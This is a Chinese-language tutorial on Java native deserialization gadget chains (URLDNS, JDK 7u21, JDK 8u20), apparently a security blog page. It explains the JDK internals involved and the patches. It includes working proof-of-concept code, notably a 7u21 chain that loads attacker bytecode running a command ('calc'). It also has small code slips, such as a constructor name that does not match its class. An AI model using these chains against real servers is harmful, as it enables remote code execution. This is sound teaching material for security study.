JDK 原生反序列化漏洞 ¶
约 1834 个字 626 行代码 预计阅读时间 20 分钟
URLDNS¶
URLDNS 通常用于检测是否存在 Java 反序列化漏洞,该利用链具有如下特点 :
- URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
原理 ¶
java.util.HashMap
实现了 Serializable 接口,重写了readObject
方法,在反序列化时,HashMap 会调用 hash 函数计算 key 的 hashCode,
而java.net.URL
的hashCode在计算时会调用getHostAddress
来解析域名, 从而发出DNS请求
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
因此,将 URL 对象作为 HashMap 的 key 存储,反序列化时就会触发 DNS 请求。
PoC¶
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// Reflections是yso的一个工具类,用于反射修改对象的属性
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
JDK 7u21¶
JDK 7u21 是一个原生的反序列化利用链,主要通过AnnotationInvocationHandler
和TemplatesImpl
两个类来构造。
euqalsImpl¶
我们还是首先关注AnnotationInvocationHandler
类的 invoke() 方法
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
此前我们在 CC1-LazyMap 链中主要利用了后面的 get 方法,而在这条链里我们主要关注前面的 if。
当方法名为equals
且参数个数为 1 时,会调用equalsImpl
方法
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o); // (1)
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
其中(1)
处的hisValue = memberMethod.invoke(o)
调用了 invoke 方法,memberMethod 来自于this.type.getDeclaredMethods()
,这里的 type 是通过构造函数传进的一个 Annotation 的子类
// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
// MemberMethods
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}
也就是说,在equalsImpl
中,遍历了this.type
中的所有 get 方法并且执行invoke(o)
。
TemplatesImpl¶
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类的作用是表示 XSLT 模板,它可以解析 XSLT 样式表并将其编译成可重用的模板。XSLT 是一种 XML 风格语言,用于将 XML 文档转换为其他格式,比如 HTML、文本或其他 XML 文档。
在 TemplatesImpl 类中定义了一个内部类,即 TransletClassLoader,在这个类中有对 defineClass 进行重写,且未显式声明访问修饰符,默认访问级别是包私有,即该类能够被同一个包中的其他类访问。
一条可行的链为 getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses() → defineClass()
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
if (this._uriResolver != null) {
transformer.setURIResolver(this._uriResolver);
}
return transformer;
}
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) { // _name 非空
return null;
} else {
if (this._class == null) {
this.defineTransletClasses(); // defineTransletClasses
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(this._overrideDefaultParser);
translet.setAllowedProtocols(this._accessExternalStylesheet);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}
return translet;
}
} catch (InstantiationException var3) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
} catch (IllegalAccessException var4) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
throw new TransformerConfigurationException(err.toString());
}
else {
TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(), TemplatesImpl.this._tfactory.getExternalExtensionsMap());
// _tfactory 需要是一个 TransformerFactoryImpl 对象
}
});
ErrorMsg err;
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
if (classCount > 1) {
this._auxClasses = new HashMap();
}
for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]); // 加载字节码
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // 字节码类的父类为AbstractTranslet
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
...
}
}
}
根据分析可知,我们需要满足如下条件才可触发反序列化:
- _name 不能为 null,因为在 getTransletInstance 方法中存在对 _name 的非 null 判断
- _tfactory 需要是一个 TransformerFactoryImpl 对象,因为在 defineTransletClasses 方法中有调用到 _tfactory.getExternalExtensionsMap(),getExternalExtensionsMap 属于 TransformerFactoryImpl 类
- 字节码对应的类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,因为在 defineTransletClasses() 中有判断 superClass.getName().equals(ABSTRACT_TRANSLET)
令 type 为 TemplatesImpl 类,将 o( 即执行方法的对象 ) 置为恶意构造的 TemplatesImpl 实例,则equalsImpl
会调用TemplatesImpl.getOutputProperties()
,加载类字节码实现 RCE。
LinkedHashSet¶
为了触发 invoke,我们需要寻找能够调用equals
方法的类。
这里通常的利用是通过 LinkedHashSet,LinkedHashSet 继承自 HashSet,HashSet 在readObject
时会调用putForCreate
方法向集合中添加元素
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);
/**
* Look for preexisting entry for key. This will never happen for
* clone or deserialize. It will only happen for construction if the
* input Map is a sorted map whose ordering is inconsistent w/ equals.
*/
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}
createEntry(hash, key, value, i);
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
// set hashSeed (can only happen after VM boot)
Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
sun.misc.Hashing.randomHashSeed(this));
// Read in number of buckets and allocate the bucket array;
s.readInt(); // ignored
// Read number of mappings
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
int initialCapacity = (int) Math.min(
// capacity chosen by number of mappings
// and desired load (if >= 0.25)
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);
int capacity = 1;
// find smallest power of two which holds all mappings
while (capacity < initialCapacity) {
capacity <<= 1;
}
table = new Entry[capacity];
threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
useAltHashing = sun.misc.VM.isBooted() &&
(capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);
init(); // Give subclass a chance to do its thing.
// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}
发现在putForCreate
方法中if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k))))
调用了equals
方法,需要满足条件哈希值相等但 key 不相等。
现在 hashset 中添加TemplatesImpl
,将 key 置为代理对象 proxyInstance 插入时即可进入proxyInstance.equals(TemplatesImpl)
方法触发AnnotationInvocationHandler
的 invoke。
要满足 key 不相同的条件只需传入的两个元素 key 不是相同的类即可。难点在于让代理对象的哈希值和TemplatesImpl
对象的哈希值相同,TemplatesImpl
的hashCode()
是个Native()
方法,每次运行都会改变,不可控。
对于代理对象的hashCode()
,它也会触发 invoke 进入AnnotationInvocationHandler
的hashCodeImpl
方法
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
}
return result;
}
计算方法为遍历 memberValues,对(127*hash(key))^hash(value)
求和,我们的 memberVlues 只需要一个元素即可,因此我们需要满足等式(127*hash(key))^hash(value)==TemplatesImpl.hashCode()
。
一个巧妙地思路是令 hash(key) 为 0,这样只需满足hash(value)==TemplatesImpl.hashCode()
即,而我们可以将 value 置为插入 HashSet 的TemplatesImpl
实例,这样哈希值就相同了。常用哈希值为 0 的 key:f5a5a608
。
至此,整条利用链已经构造完成。
PoC¶
package cc.jdk7u21;
import cc.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class Jdk7u21 {
public static void main(String[] args) throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","colemak");
HashMap<String, Object> memberValues = new HashMap<String, Object>();
// 为了避免在序列化前向 hashSet 中添加元素时就发生 hash 冲突触发漏洞,这里先修改value的值
memberValues.put("f5a5a608","colemak");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
// 由于 java 的 Map 赋值是传递引用,因此这里的 value 修改后 proxy 里 map 的值也会改变
// 从而让反序列化时 hash 冲突调用 equals 方法
memberValues.put("f5a5a608",templates);
byte[] bytes = SerializeUtil.serialize(hashSet);
SerializeUtil.unserialize(bytes);
}
}
package cc.jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilCode() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
package cc.jdk7u21;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class SerializeUtil {
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static byte[] getEvilCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilCode");
byte[] code = clazzz.toBytecode();
return code;
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
测试成功:
修复补丁 ¶
type 设为 TemplatesImpl 理论上无法作为 AnnotationInvocationHandler 反序列化,但在原有的 AnnotationInvocationHandler.readObject()
方法中,异常处理部分直接 return,不会抛出异常
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
...
}
该漏洞在随后的版本中进行了修复,将return
修改成了throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
此时 type 无法设置为非 Annotation 类型,但该修复方式仍存在问题,后来在 JDK 8u20 中爆出了新的原生反序列化漏洞。
参考资料 ¶
JDK 8u20¶
JDK 8u20 是对 JDK 7u21 修复的绕过,作者在 More serialization hacks with AnnotationInvocationHandler 中提出了绕过方法,需要对 Java 序列化机制有一定的了解。
Try-Catch 机制 ¶
对于如下代码,思考运行后会发生什么:
public static void main(String[] args) throws Exception {
try {
System.out.println("Start");
try {
int a = 1/0;
} catch (ArithmeticException e) {
throw new InvalidObjectException("Invalid");
System.out.println("In");
}
} catch (Exception e) {
}
System.out.println("End");
}
运行结果应为:
这是由于内部的 try-catch 块抛出了异常被外层捕获,而外层的 catch 忽略了异常,所以程序正常继续执行。
回到AnnotationInvocationHandler.readObject()
方法,我们可以看到实际上我们构造的类已经通过defauleReadObject()
方法被反序列化,但是由于异常处理导致反序列化链无法继续进行。通过上面的例子是否可以绕过限制呢?
我们需要寻找一个类,满足以下条件:
- 实现
Serializable
接口 - 重写了
readObject()
方法 - 在
readObject()
中存在对readObject()
的调用,并且对调用的readObject()
捕获异常且继续执行。
BeanContextSupport¶
在 jdk 中我们找到了想要的类 java.beans.beancontext.BeanContextSupport
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
synchronized(child) {
BeanContextChild bcc = null;
try {
bcc = (BeanContextChild)child;
} catch (ClassCastException cce) {
// do nothing;
}
if (bcc != null) {
try {
bcc.setBeanContext(getBeanContextPeer());
bcc.addPropertyChangeListener("beanContext", childPCL);
bcc.addVetoableChangeListener("beanContext", childVCL);
} catch (PropertyVetoException pve) {
continue;
}
}
childDeserializedHook(child, bscc);
}
}
}
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
readChildren
中,随后调用ois.readObject()
读取序列化字节码中的内容
序列化引用机制 ¶
在最终的利用前,我们需要了解一下 Java 的序列化机制。
在序列化流程中,对象所属类、对象成员属性等数据都会被使用固定的语法写入到序列化数据,并且会被特定的方法读取;在序列化数据中,存在的对象有 null、new objects、classes、arrays、strings、back references 等,这些对象在序列化结构中都有对应的描述信息。
为了避免重复写入完全相同的元素,Java 反序列化存在引用机制:每一个写入字节流的对象都会被赋予引用 Handle,出现重复对象时使用
TC_REFERENCE
结构引用前面 handle 的值。引用 Handle 会从
0x00 7E 00 00
开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用 Handle 会重新开始计数。
Example
import java.io.*;
public class exp implements Serializable {
private static final long serialVersionUID = 100L;
public static int num = 0;
private void readObject(ObjectInputStream input) throws Exception {
input.defaultReadObject();
}
public static void main(String[] args) throws IOException {
exp t = new exp();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("test"));
out.writeObject(t);
out.writeObject(t); //第二次写入
out.close();
}
}
使用 SerializationDumper 可以查看序列化后的数据
由于我们写入了两次,最后部分的TC_REFERENCE
块为 handle 引用指向了前面的对象 0x00 7e 00 01
PoC¶
AnnotationInvocationHandler.readObject()
方法中的异常处理前已经反序列化了我们构造的对象,这就生成了一个有效的 handle 值,通过BeanContextSupport
绕过异常处理后可以通过TC_REFERENCE
来引用已经序列化好的 AnnotationInvocationHandler
对象,继续 7u21 的利用链即可。
修改序列化字节码是 JDK 8u20 利用链的难点,这里参考文章以一种更简单的方式构造 JRE8u20 Gadget,示意图如下:
参考资料 ¶
创建日期: 2024年7月31日 12:30:17